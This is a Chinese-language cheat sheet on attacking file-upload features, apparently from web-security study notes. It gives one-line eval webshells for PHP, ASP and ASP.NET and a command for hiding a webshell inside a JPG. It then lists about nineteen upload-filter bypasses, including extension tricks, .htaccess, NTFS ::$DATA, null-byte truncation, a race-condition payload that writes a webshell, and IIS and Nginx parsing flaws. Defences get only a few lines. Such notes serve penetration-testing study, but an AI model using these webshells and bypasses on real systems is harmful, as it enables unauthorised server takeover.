一句话木马
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
图片马制作:copy 1.jpg /b + 1.txt /a 2.jpg(1.txt为一句话木马,2.jpg新生成的图片马)
文件上传防御:
1.图床(A网站上传图片放到另一个网站或服务器)
2.加强检测*(白名单+内容检测+权限设置+安全中间件)
如果没有防护规则的文件上传,只要上传就可以拿下目标
检测恶意代码:
前端检测(js)= 没有检测
后端检测:黑白名单机制(比较危险),白名单更安全
服务端检测几个常见的手段: 检查Content-Type (内容类型) 检查后缀 (检查后缀是主流) 检查文件头
文件上传流程:
上传,检测,上传到缓存文件(tmp),后端代码移动,移动到指定目录重命名
文件上传绕过
1.前端验证绕过
抓返回包删除js(Do intercept)
抓包改后缀(上传正常文件或图片,数据包中改木马后缀)
2.Content-Type方式绕过
检查文件类型,抓包改后缀(上传正常文件或图片,数据包中改木马后缀)
3.黑名单绕过
默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php的,
其他能被解析的扩展 | |||
---|---|---|---|
jsp | jspx | jspf | |
asp | asa | cer | aspx |
php | phptml | php3 | php4 |
exe | exee |
4..htaccess文件绕过
.htaccess是什么?全称是Hypertext Access(超文本入口) .htaccess文件也被成为分布式配置文件
.htaccess功能(默认是不开启的,伪静态网站一般会开启): 文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析
cmd重命名:ren 文件 .htaccess
方法:上传图片马.jpg后再上传AddType application/x-httpd-php .jpg内容的.htaccess文件即可将图片马作为php连接成功。
5.后缀大小写绕过
WEB容器除非非常老的版本,不然都不区分大小写
例如php.php=>php.PhP/PHp
6.文件后缀(空)绕过
黑名单中没有过滤空值,那么php和php空格是不一样的,抓包文件名后缀添加空格即可绕过
7.文件后缀(点)绕过
与6类似,windows有一个特性,会自动去掉后缀名最后的点。
文件名.php.和文件名.php相同。抓包文件名后缀添加点即可绕过
8.::$DATA(Windows文件流绕过)
利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。
也就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。(隐藏的寄生虫)
例如:a.txt::$DATA ::$DATA就是默认不修改文件流的情况 所以生成一个正常的a.txt。但后端检测的时候a.txt::$DATA和a.txt是不一样,从而绕过。
藏文件:echo 内容 > 被依附的文件:新建文件
9.构造文件后缀绕过
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
$file_ext = strrchr($file_name, '.'); 是检测末尾最后是否是点,返回点以及后面的部分。
php. .,也就是文件名.php点空点。
去掉点→返回点空→最后剩下 文件名.php.可以解析,完美绕过。
10.双写文件后缀绕过
$file_name = str_ireplace($deny_ext,"", $file_name);
将敏感后缀替换为空
因此我们可以利用双写绕过,eg:pphphp=>php
11.%00截断绕过
%00(url编码):表示结束
上传过程中被重命名,后面添加为自定的名称格式并截断即可上传成功。
属于php5.3以下的一个漏洞
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
12.00截断绕过
get传参变为post,通过修改hex编码使得截断形成,完成绕过。
00(Hex):表示结束
13.图片马绕过
14.getimagesize图片类型绕过
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
15.php_exif模块图片类型绕过
16.二次渲染绕过
一般渲染不会渲染图片的所有部分。
利用gif动态图图片马绕过,在第三行第四行添加比较好。
17.条件竞争绕过
①先上传后检测:拼速度以至于来不及删除
竞争条件:”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
对php做手脚,在php插入新建文件的代码
<?php file_put_contents('123.php','<?php @eval($_REQUEST[8])?>');?>
本地测试发现访问该php即可生成一句话木马123.php
我们用burp模块抓包然后去爆破就行,一个不断上传,一个不断访问
直到能够访问到123.php即可连接木马管理。
②先检测后上传
18.条件竞争(二)
与7相同,只不过上传的是图片马
19.move_uploaded_file()截断(另一个00截断)
move_uploaded_file() ,这是移动文件的函数,上传上去然后移动到这边重命名
修改后缀,用hex编辑00在php后截断
文件上传解析漏洞
IIS6.0解析漏洞(一):
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll。
直接通过抓包修改后缀上传cer的图片马连接成功
IIS6.0解析漏洞(二):
IIS5.1和IIS7.5无此漏洞。 IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式: test.asp;.jpg 他将当做asp进行解析 test.asp/123.jpg 他将当做asp进行解析
请求 /aaa.asp;xxxx.jpg N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg N2:查找";"号,如果有则内存截断 N3:查找"/",如果有则内存截断 最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理
①test.asp;.jpg
②test.asp/123.jpg
CGI解析漏洞
Nginx默认是以CGI的方式支持PHP解析的。
普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME。
当访问http://www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启)。
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg作为PHP文件来解析了.
我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
上传php图片马php.jpg
后面添加/123.php连接成功